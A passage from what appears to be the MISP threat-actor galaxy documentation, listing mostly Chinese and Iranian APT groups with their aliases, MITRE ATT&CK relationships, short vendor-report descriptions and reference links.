The tag is: *misp-galaxy:threat-actor="Predator Panda"*

Table 3683. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

Union Panda

The tag is: *misp-galaxy:threat-actor="Union Panda"*

Table 3684. Table References

Links
http://files.sans.org/summit/Threat_Hunting_Incident_Response_Summit_2016/PDFs/Detecting-and-Responding-to-Pandas-and-Bears-Christopher-Scott-CrowdStrike-and-Wendi-Whitmore-IBM.pdf

Spicy Panda

The tag is: *misp-galaxy:threat-actor="Spicy Panda"*

Table 3685. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

Eloquent Panda

The tag is: *misp-galaxy:threat-actor="Eloquent Panda"*

Table 3686. Table References

Links

http://files.sans.org/summit/Threat_Hunting_Incident_Response_Summit_2016/PDFs/Detecting-and-Responding-to-Pandas-and-Bears-Christopher-Scott-CrowdStrike-and-Wendi-Whitmore-IBM.pdf

Dizzy Panda

The tag is: *misp-galaxy:threat-actor="Dizzy Panda"*

Dizzy Panda is also known as:

- LadyBoyle

Putter Panda

Putter Panda were the subject of an extensive report by CrowdStrike, which stated: 'The CrowdStrike Intelligence team has been tracking this particular unit since2012, under the codename PUTTER PANDA, and has documented activity dating back to 2007. The report identifies Chen Ping, aka cpyy, and the primary location of Unit 61486.'

The tag is: *misp-galaxy:threat-actor="Putter Panda"*

Putter Panda is also known as:

- PLA Unit 61486
- APT 2
- Group 36
- APT-2
- MSUpdater
- 4HCrew
- SULPHUR
- TG-6952

Putter Panda has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Putter Panda - G0024" with estimative-language:likelihood-probability="likely"

Table 3687. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://www.cfr.org/interactive/cyber-operations/putter-panda

UPS

Symantec described UPS in 2016 report as: 'Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade. Traditionally, the group attacked organizations in the US as well as other targets. However, Buckeyes focus appears to have changed as of June 2015, when the group began compromising political entities in Hong Kong.'

The tag is: *misp-galaxy:threat-actor="UPS"*

UPS is also known as:

- Gothic Panda
- TG-0110
- APT 3
- Group 6
- UPS Team
- APT3
- Buckeye
- Boyusec

UPS has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT3 - G0022" with estimative-language:likelihood-probability="likely"

Table 3688. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong
https://www.cfr.org/interactive/cyber-operations/apt-3

DarkHotel

Kaspersky described DarkHotel in a 2014 report as: '... DarkHotel drives its campaigns by spear-phishing targets with highly advanced Flash zero-day exploits that effectively evade the latest Windows and Adobe defenses, and yet they also imprecisely spread among large numbers of vague targets with peer-to-peer spreading tactics. Moreover, this crews most unusual characteristic is that for several years the Darkhotel APT has maintained a capability to use hotel networks to follow and hit selected targets as they travel around the world.'

The tag is: *misp-galaxy:threat-actor="DarkHotel"*

DarkHotel is also known as:

- DUBNIUM
- Fallout Team
- Karba

- Luder
- Nemim
- Tapaoux
- Pioneer

DarkHotel has relationships with:

- similar: misp-galaxy:microsoft-activity-group="DUBNIUM" with estimative-language:likelihood-probability="likely"

Table 3689. Table References

Links
https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2
https://securelist.com/blog/research/66779/the-darkhotel-apt/
http://drops.wooyun.org/tips/11726
https://labs.bitdefender.com/wp-content/uploads/downloads/inexsmar-an-unusual-darkhotel-campaign/
https://www.cfr.org/interactive/cyber-operations/darkhotel

IXESHE

A group of China-based attackers, who conducted a number of spear phishing attacks in 2013.

The tag is: *misp-galaxy:threat-actor="IXESHE"*

IXESHE is also known as:

- Numbered Panda
- TG-2754
- BeeBus
- Group 22
- DynCalc
- Calc Team
- DNSCalc
- Crimson Iron
- APT12
- APT 12

IXESHE has relationships with:

- similar: misp-galaxy:mitre-pre-attack-intrusion-set="APT12 - G0005" with estimative-language:likelihood-probability="likely"

Table 3690. Table References

Links
http://www.crowdstrike.com/blog/whois-numbered-panda/
https://www.cfr.org/interactive/cyber-operations/apt-12

APT 16

The tag is: *misp-galaxy:threat-actor="APT 16"*

Table 3691. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html
https://www.cfr.org/interactive/cyber-operations/apt-16

Aurora Panda

FireEye described APT17 in a 2015 report as: 'APT17, also known as DeputyDog, is a China based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.'

The tag is: *misp-galaxy:threat-actor="Aurora Panda"*

Aurora Panda is also known as:

- APT 17
- Deputy Dog
- Group 8
- APT17
- Hidden Lynx
- Tailgater Team

Aurora Panda has relationships with:

- similar: misp-galaxy:mitre-pre-attack-intrusion-set="APT17 - G0025" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Axiom" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Winnti Group - G0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Axiom - G0001" with estimative-language:likelihood-probability="likely"

Table 3692. Table References

Links
http://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/hidden_lynx.pdf
https://www.cfr.org/interactive/cyber-operations/apt-17

Wekby

Wekby was described by Palo Alto Networks in a 2015 report as: 'Wekby is a group that has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech. The group is known to leverage recently released exploits very shortly after those exploits are available, such as in the case of HackingTeams Flash zero - day exploit.'

The tag is: *misp-galaxy:threat-actor="Wekby"*

Wekby is also known as:

- Dynamite Panda
- TG-0416
- APT 18
- SCANDIUM
- PLA Navy
- APT18

Wekby has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT18 - G0026" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Samurai Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Maverick Panda" with estimative-language:likelihood-probability="likely"

Table 3693. Table References

Links
https://threatpost.com/apt-gang-branches-out-to-medical-espionage-in-community-health-breach/107828
https://www.cfr.org/interactive/cyber-operations/apt-18

Tropic Trooper

TrendMicro described Tropic Trooper in a 2015 report as: 'Taiwan and the Philippines have become the targets of an ongoing campaign called Operation TropicTrooper. Active since 2012, the attackers behind the campaign haveset their sights on the Taiwanese government as well as a number of companies in the heavy industry. The same campaign has also targeted key Philippine military agencies.'

The tag is: *misp-galaxy:threat-actor="Tropic Trooper"*

Tropic Trooper is also known as:

- Operation Tropic Trooper
- Operation TropicTrooper
- TropicTrooper

Table 3694. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf

Axiom

The Winnti grouping of activity is large and may actually be a number of linked groups rather than a single discrete entity. Kaspersky describe Winnti as: 'The Winnti group has been attacking companies in the online video game industry since 2009 and is currently still active. The groups objectives are stealing digital certificates signed by legitimate software vendors in addition to intellectual property theft, including the source code of online game projects. The majority of the victims are from South East Asia.'

The tag is: *misp-galaxy:threat-actor="Axiom"*

Axiom is also known as:

- Winnti Group
- Tailgater Team
- Group 72
- Group72
- Tailgater
- Ragebeast
- Blackfly
- Lead
- Wicked Spider
- APT17
- APT 17

- Dogfish
- Deputy Dog
- Wicked Panda
- Barium

Axiom has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Winnti Group - G0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-pre-attack-intrusion-set="APT17 - G0025" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Aurora Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Axiom - G0001" with estimative-language:likelihood-probability="likely"

Table 3695. Table References

Links
http://securelist.com/blog/research/57585/winnti-faq-more-than-just-a-game/
http://williamshowalter.com/a-universal-windows-bootkit/
https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp
https://www.cfr.org/interactive/cyber-operations/axiom

Shell Crew

Adversary group targeting financial, technology, non-profit organisations.

The tag is: *misp-galaxy:threat-actor="Shell Crew"*

Shell Crew is also known as:

- Deep Panda
- WebMasters
- APT 19
- KungFu Kittens
- Black Vine
- Group 13
- PinkPanther
- Sh3llCr3w

Shell Crew has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Deep Panda - G0009" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Hurricane Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Codoso" with estimative-language:likelihood-probability="likely"

Table 3696. Table References

Links
http://cybercampaigns.net/wp-content/uploads/2013/06/Deep-Panda.pdf
http://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf
https://www.cfr.org/interactive/cyber-operations/deep-panda

Naikon

Kaspersky described Naikon in a 2015 report as: 'The Naikon group is mostly active in countries such as the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, and Nepal, hitting a variety of targets in a very opportunistic way.'

The tag is: *misp-galaxy:threat-actor="Naikon"*

Naikon is also known as:

- PLA Unit 78020
- APT 30
- APT30
- Override Panda
- Camerashy
- APT.Naikon
- Lotus Panda

Naikon has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Naikon - G0019" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Lotus Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT 30" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT30 - G0013" with estimative-language:likelihood-probability="likely"

Table 3697. Table References

Links
https://securelist.com/analysis/publications/69953/the-naikon-apt/
http://www.fireeye.com/blog/technical/malware-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html
https://www.cfr.org/interactive/cyber-operations/apt-30

Lotus Blossom

The tag is: *misp-galaxy:threat-actor="Lotus Blossom"*

Lotus Blossom is also known as:

- Spring Dragon
- ST Group
- Eslie

Lotus Blossom has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Lotus Blossom - G0030" with estimative-language:likelihood-probability="likely"

Table 3698. Table References

Links
https://securelist.com/blog/research/70726/the-spring-dragon-apt/
https://securelist.com/spring-dragon-updated-activity/79067/
https://www.cfr.org/interactive/cyber-operations/lotus-blossom

Lotus Panda

The tag is: *misp-galaxy:threat-actor="Lotus Panda"*

Lotus Panda is also known as:

- Elise

Lotus Panda has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Naikon - G0019" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT 30" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT30 - G0013" with estimative-language:likelihood-probability="likely"

Table 3699. Table References

Links
http://www.crowdstrike.com/blog/rhetoric-foreshadows-cyber-activity-in-the-south-china-sea/

Hurricane Panda

The tag is: *misp-galaxy:threat-actor="Hurricane Panda"*

Hurricane Panda is also known as:

- Black Vine
- TEMP.Avengers

Hurricane Panda has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Deep Panda - G0009" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Shell Crew" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Codoso" with estimative-language:likelihood-probability="likely"

Table 3700. Table References

Links
http://www.crowdstrike.com/blog/cyber-deterrence-in-action-a-story-of-one-long-hurricane-panda-campaign/

Emissary Panda

A China-based actor that targets foreign embassies to collect data on government, defence, and technology sectors.

The tag is: *misp-galaxy:threat-actor="Emissary Panda"*

Emissary Panda is also known as:

- TG-3390
- APT 27
- TEMP.Hippo
- Group 35
- Bronze Union
- ZipToken
- HIPPOTeam
- APT27

- Operation Iron Tiger
- Iron Tiger APT

Emissary Panda has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Threat Group-3390 - G0027" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Threat Group-3390" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="LuckyMouse" with estimative-language:likelihood-probability="likely"

Table 3701. Table References

Links
http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/
http://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/
https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/
https://labs.bitdefender.com/wp-content/uploads/downloads/operation-pzchao-inside-a-highly-specialized-espionage-infrastructure/
https://www.cfr.org/interactive/cyber-operations/iron-tiger

Stone Panda

The tag is: *misp-galaxy:threat-actor="Stone Panda"*

Stone Panda is also known as:

- APT10
- APT 10
- MenuPass
- happyyongzi
- POTASSIUM
- DustStorm
- Red Apollo
- CVNX
- HOGFISH
- Cloud Hopper
- Stone Panda

Stone Panda has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="menuPass - G0045" with estimative-language:likelihood-probability="likely"

Table 3702. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
https://www.cfr.org/interactive/cyber-operations/apt-10
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

Nightshade Panda

The tag is: *misp-galaxy:threat-actor="Nightshade Panda"*

Nightshade Panda is also known as:

- APT 9
- Flowerlady/Flowershow
- Flowerlady
- Flowershow

Table 3703. Table References

Links
https://otx.alienvault.com/pulse/55bbc68e67db8c2d547ae393/

Hellsing

This threat actor uses spear-phishing techniques to compromise diplomatic targets in Southeast Asia, India, and the United States. It also seems to have targeted the APT 30. Possibly uses the same infrastructure as Mirage

The tag is: *misp-galaxy:threat-actor="Hellsing"*

Hellsing is also known as:

- Goblin Panda
- Cycldek

Table 3704. Table References

Links
https://securelist.com/analysis/publications/69567/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/
https://www.cfr.org/interactive/cyber-operations/hellsing

Night Dragon

The tag is: *misp-galaxy:threat-actor="Night Dragon"*

Night Dragon has relationships with:

- similar: misp-galaxy:mitre-pre-attack-intrusion-set="Night Dragon - G0014" with estimative-language:likelihood-probability="likely"

Table 3705. Table References

Links
https://kc.mcafee.com/corporate/index?page=content&id=KB71150

Mirage

This threat actor uses phishing techniques to compromise the networks of foreign ministries of European countries for espionage purposes.

The tag is: *misp-galaxy:threat-actor="Mirage"*

Mirage is also known as:

- Vixen Panda
- Ke3Chang
- GREF
- Playful Dragon
- APT 15
- APT15
- Metushy
- Lurid
- Social Network Team
- Royal APT

Table 3706. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/forced-to-adapt-xslcmd-backdoor-now-on-os-x.html
http://arstechnica.com/security/2015/04/elite-cyber-crime-group-strikes-back-after-attack-by-rival-apt-gang/
https://github.com/nccgroup/Royal_APT
https://www.cfr.org/interactive/cyber-operations/mirage

Anchor Panda

PLA Navy

The tag is: *misp-galaxy:threat-actor="Anchor Panda"*

Anchor Panda is also known as:

- APT14
- APT 14
- QAZTeam
- ALUMINUM

Table 3707. Table References

Links
http://www.crowdstrike.com/blog/whois-anchor-panda/
https://www.cfr.org/interactive/cyber-operations/anchor-panda

NetTraveler

The tag is: *misp-galaxy:threat-actor="NetTraveler"*

NetTraveler is also known as:

- APT 21

Table 3708. Table References

Links
https://securelist.com/blog/research/35936/nettraveler-is-running-red-star-apt-attacks-compromise-high-profile-victims/
https://www.cfr.org/interactive/cyber-operations/nettraveler

Ice Fog

Operate since at least 2011, from several locations in China, with members in Korea and Japan as well. Possibly linked to Onion Dog. This threat actor targets government institutions, military contractors, maritime and shipbuilding groups, telecommunications operators, and others, primarily in Japan and South Korea.

The tag is: *misp-galaxy:threat-actor="Ice Fog"*

Ice Fog is also known as:

- IceFog
- Dagger Panda

Table 3709. Table References

Links
https://securelist.com/blog/research/57331/the-icefog-apt-a-tale-of-cloak-and-three-daggers/
https://securelist.com/blog/incidents/58209/the-icefog-apt-hits-us-targets-with-java-backdoor/
https://www.cfr.org/interactive/cyber-operations/icefog

Pitty Panda

The Pitty Tiger group has been active since at least 2011. They have been seen using HeartBleed vulnerability in order to directly get valid credentials

The tag is: *misp-galaxy:threat-actor="Pitty Panda"*

Pitty Panda is also known as:

- PittyTiger
- MANGANESE

Pitty Panda has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="PittyTiger - G0011" with estimative-language:likelihood-probability="likely"

Table 3710. Table References

Links
http://blog.airbuscybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2

Roaming Tiger

The tag is: *misp-galaxy:threat-actor="Roaming Tiger"*

Table 3711. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/

Beijing Group

The tag is: *misp-galaxy:threat-actor="Beijing Group"*

Beijing Group is also known as:

- Sneaky Panda

Beijing Group has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Elderwood - G0066" with estimative-language:likelihood-probability="likely"

Table 3712. Table References

Links
https://www.cfr.org/interactive/cyber-operations/sneaky-panda

Radio Panda

The tag is: *misp-galaxy:threat-actor="Radio Panda"*

Radio Panda is also known as:

- Shrouded Crossbow

APT.3102

The tag is: *misp-galaxy:threat-actor="APT.3102"*

Table 3713. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/

Samurai Panda

The tag is: *misp-galaxy:threat-actor="Samurai Panda"*

Samurai Panda is also known as:

- PLA Navy
- APT4
- APT 4
- Wisp Team
- Getkys
- SykipotGroup
- Wkysol

Samurai Panda has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT18 - G0026" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Wekby" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:threat-actor="Maverick Panda" with estimative-language:likelihood-probability="likely"

Table 3714. Table References

Links
http://www.crowdstrike.com/blog/whois-samurai-panda/
https://www.cfr.org/interactive/cyber-operations/sykipot

Impersonating Panda

The tag is: *misp-galaxy:threat-actor="Impersonating Panda"*

Violin Panda

The tag is: *misp-galaxy:threat-actor="Violin Panda"*

Violin Panda is also known as:

- APT20
- APT 20
- APT8
- APT 8
- TH3Bug

Table 3715. Table References

Links
http://researchcenter.paloaltonetworks.com/2014/09/recent-watering-hole-attacks-attributed-apt-group-th3bug-using-poison-ivy/

Toxic Panda

A group targeting dissident groups in China and at the boundaries.

The tag is: *misp-galaxy:threat-actor="Toxic Panda"*

Table 3716. Table References

Links
http://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf

Temper Panda

China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. This threat actor targets prodemocratic activists and organizations in Hong Kong, European and international financial institutions, and a U.S.-based think tank.

The tag is: *misp-galaxy:threat-actor="Temper Panda"*

Temper Panda is also known as:

- Admin338
- Team338
- MAGNESIUM
- admin@338

Temper Panda has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="admin@338 - G0018" with estimative-language:likelihood-probability="likely"

Table 3717. Table References

Links
https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html
https://www.cfr.org/interactive/cyber-operations/admin338

Pirate Panda

The tag is: *misp-galaxy:threat-actor="Pirate Panda"*

Pirate Panda is also known as:

- APT23
- KeyBoy

Table 3718. Table References

Links
https://community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india
http://www.crowdstrike.com/blog/rhetoric-foreshadows-cyber-activity-in-the-south-china-sea/

Flying Kitten

Activity: defense and aerospace sectors, also interested in targeting entities in the oil/gas industry.

The tag is: *misp-galaxy:threat-actor="Flying Kitten"*

Flying Kitten is also known as:

- SaffronRose
- Saffron Rose
- AjaxSecurityTeam
- Ajax Security Team
- Group 26
- Sayad

Flying Kitten has relationships with:

- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="very-likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-pre-attack-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"

Table 3719. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf
https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/
https://www.cfr.org/interactive/cyber-operations/saffron-rose

Cutting Kitten

While tracking a suspected Iran-based threat group known as Threat Group-2889[1] (TG-2889), Dell SecureWorks Counter Threat Unit™ (CTU) researchers uncovered a network of fake LinkedIn profiles. These convincing profiles form a self-referenced network of seemingly established LinkedIn users. CTU researchers assess with high confidence the purpose of this network is to target potential victims through social engineering. Most of the legitimate LinkedIn accounts associated with the fake accounts belong to individuals in the Middle East, and CTU researchers assess with medium confidence that these individuals are likely targets of TG-2889. One of the threat actors responsible for the denial of service attacks against U.S in 2012–2013. Three individuals associated with the group—believed to be have been working on behalf of Iran’s Islamic Revolutionary Guard Corps—were indicted by the Justice Department in 2016.

The tag is: *misp-galaxy:threat-actor="Cutting Kitten"*

Cutting Kitten is also known as:

- ITSecTeam
- Threat Group 2889
- TG-2889
- Ghambar

Cutting Kitten has relationships with:

- similar: misp-galaxy:mitre-pre-attack-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"

Table 3720. Table References

Links
http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/
https://www.cfr.org/interactive/cyber-operations/itsecteam

Charming Kitten

Charming Kitten (aka Parastoo, aka Newscaster) is an group with a suspected nexus to Iran that targets organizations involved in government, defense technology, military, and diplomacy sectors.

The tag is: *misp-galaxy:threat-actor="Charming Kitten"*

Charming Kitten is also known as:

- Newscaster
- Parastoo

- iKittens
- Group 83
- Newsbeef

Charming Kitten has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Charming Kitten - G0058" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-pre-attack-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"

Table 3721. Table References

Links
https://en.wikipedia.org/wiki/Operation_Newscaster
https://iranthreats.github.io/resources/macdownloader-macos-malware/
https://www.isightpartners.com/2014/05/newscaster-iranian-threat-inside-social-media/
https://www.forbes.com/sites/thomasbrewster/2017/07/27/iran-hackers-oilrig-use-fake-personas-on-facebook-linkedin-for-cyberespionage/
https://cryptome.org/2012/11/parastoo-hacks-iaea.htm
https://securelist.com/files/2017/03/Report_Shamoon_StoneDrill_final.pdf
https://securelist.com/blog/software/74503/freezer-paper-around-free-meat/
https://www.verfassungsschutz.de/download/broschuere-2016-10-bfv-cyber-brief-2016-04.pdf
https://github.com/gasgas4/APT_CyberCriminal_Campagin/tree/master/2014/2014.05.28.NewsCaster_An_Iranian_Threat_Within_Social_Networks
https://www.cfr.org/interactive/cyber-operations/newscaster

APT33

Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.

The tag is: *misp-galaxy:threat-actor="APT33"*

APT33 is also known as:

APT33 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT33 - G0064" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="MAGNALLIUM" with estimative-language:likelihood-probability="likely"

Table 3722. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

Magic Kitten

Earliest activity back to November 2008. An established group of cyber attackers based in Iran, who carried on several campaigns in 2013, including a series of attacks targeting political dissidents and those supporting Iranian political opposition.

The tag is: *misp-galaxy:threat-actor="Magic Kitten"*

Magic Kitten is also known as:

- Group 42

Table 3723. Table References

Links
http://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/

Rocket Kitten

Targets Saudi Arabia, Israel, US, Iran, high ranking defense officials, embassies of various target countries, notable Iran researchers, human rights activists, media and journalists, academic institutions and various scholars, including scientists in the fields of physics and nuclear sciences.

The tag is: *misp-galaxy:threat-actor="Rocket Kitten"*

Rocket Kitten is also known as:

- TEMP.Beanie
- Operation Woolen Goldfish
- Operation Woolen-Goldfish
- Thamar Reservoir
- Timberworm

Rocket Kitten has relationships with:

- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="very-likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-pre-attack-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"

Table 3724. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go-phishing
https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-the-spy-kittens-are-back.pdf
http://www.clearskysec.com/thamar-reservoir/
https://citizenlab.org/2015/08/iran_two_factor_phishing/
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf
https://www.symantec.com/connect/blogs/shamoon-multi-staged-destructive-attacks-limited-specific-targets
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/
https://en.wikipedia.org/wiki/Rocket_Kitten
https://www.cfr.org/interactive/cyber-operations/rocket-kitten

Cleaver

A group of cyber actors utilizing infrastructure located in Iran have been conducting computer network exploitation activity against public and private U.S. organizations, including Cleared Defense Contractors (CDCs), academic institutions, and energy sector companies. This threat actor targets entities in the government, energy, and technology sectors that are located in or do business with Saudi Arabia.

The tag is: *misp-galaxy:threat-actor="Cleaver"*

Cleaver is also known as:

- Operation Cleaver
- Tarh Andishan
- Alibaba
- 2889
- TG-2889
- Cobalt Gypsy
- Ghambar
- Cutting Kitten
- Group 41
- Magic Hound

Cleaver has relationships with:

- similar: misp-galaxy:mitre-pre-attack-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
